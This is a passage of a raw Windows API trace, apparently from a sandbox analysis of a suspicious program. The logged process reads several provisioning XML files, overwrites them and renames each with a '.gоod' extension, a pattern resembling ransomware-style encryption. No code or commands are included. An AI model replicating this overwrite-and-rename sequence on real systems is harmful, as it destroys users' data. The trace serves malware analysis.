dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0116.286] GetFileType (hFile=0x6e4) returned 0x1 [0116.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0116.286] GetFileType (hFile=0x6e4) returned 0x1 [0116.287] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x59f [0116.287] ReadFile (in: hFile=0x6e4, lpBuffer=0x334e438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x334e438*, lpNumberOfBytesRead=0x1f9edc08*=0x59f, lpOverlapped=0x0) returned 1 [0116.288] CloseHandle (hObject=0x6e4) returned 1 [0116.665] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0117.233] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0117.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0117.233] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0117.234] GetFileType (hFile=0x6e4) returned 0x1 [0117.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0117.234] GetFileType (hFile=0x6e4) returned 0x1 [0117.234] WriteFile (in: hFile=0x6e4, lpBuffer=0x35a0a80*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x35a0a80*, lpNumberOfBytesWritten=0x1f9edb18*=0x5a0, lpOverlapped=0x0) returned 1 [0117.235] CloseHandle (hObject=0x6e4) returned 1 [0117.235] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0117.235] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0117.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0117.235] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4217332d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0)) returned 1 [0117.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0117.236] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.gоod")) returned 1 [0117.236] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0117.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0117.237] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x35a1db0 | out: lpFileInformation=0x35a1db0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0117.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0117.237] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0117.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0117.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0117.237] GetFileType (hFile=0x6e4) returned 0x1 [0117.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0117.237] GetFileType (hFile=0x6e4) returned 0x1 [0117.237] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0117.237] ReadFile (in: hFile=0x6e4, lpBuffer=0x35a21e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x35a21e8*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0117.238] CloseHandle (hObject=0x6e4) returned 1 [0118.337] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0118.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.339] GetFileType (hFile=0x7ec) returned 0x1 [0118.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0118.339] GetFileType (hFile=0x7ec) returned 0x1 [0118.339] WriteFile (in: hFile=0x7ec, lpBuffer=0x33a3d28*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x33a3d28*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0118.340] CloseHandle (hObject=0x7ec) returned 1 [0118.340] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0118.340] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0118.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0118.340] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x42bfb616, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0118.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0118.340] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.gоod")) returned 1 [0118.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0118.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpFilePart=0x0) returned 0x51 [0118.341] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0118.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0118.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.342] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0118.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0118.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0118.343] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpFilePart=0x0) returned 0x51 [0118.343] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0118.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0118.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0118.343] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0118.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0118.344] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0118.344] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x33bb108 | out: lpFileInformation=0x33bb108*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb)) returned 1 [0118.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0118.344] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0118.344] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.344] GetFileType (hFile=0x7ec) returned 0x1 [0118.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0118.344] GetFileType (hFile=0x7ec) returned 0x1 [0118.344] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0xfb [0118.344] ReadFile (in: hFile=0x7ec, lpBuffer=0x33bb500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x33bb500*, lpNumberOfBytesRead=0x1f9ed1d8*=0xfb, lpOverlapped=0x0) returned 1 [0118.345] CloseHandle (hObject=0x7ec) returned 1 [0118.931] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0118.932] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0118.933] GetFileType (hFile=0x768) returned 0x1 [0118.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0118.933] GetFileType (hFile=0x768) returned 0x1 [0118.933] WriteFile (in: hFile=0x768, lpBuffer=0x36c92a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x36c92a8*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x100, lpOverlapped=0x0) returned 1 [0118.934] CloseHandle (hObject=0x768) returned 1 [0118.934] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.934] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0118.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0118.934] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0118.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0118.934] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml.gоod")) returned 1 [0118.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0118.935] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0118.935] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0118.935] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, 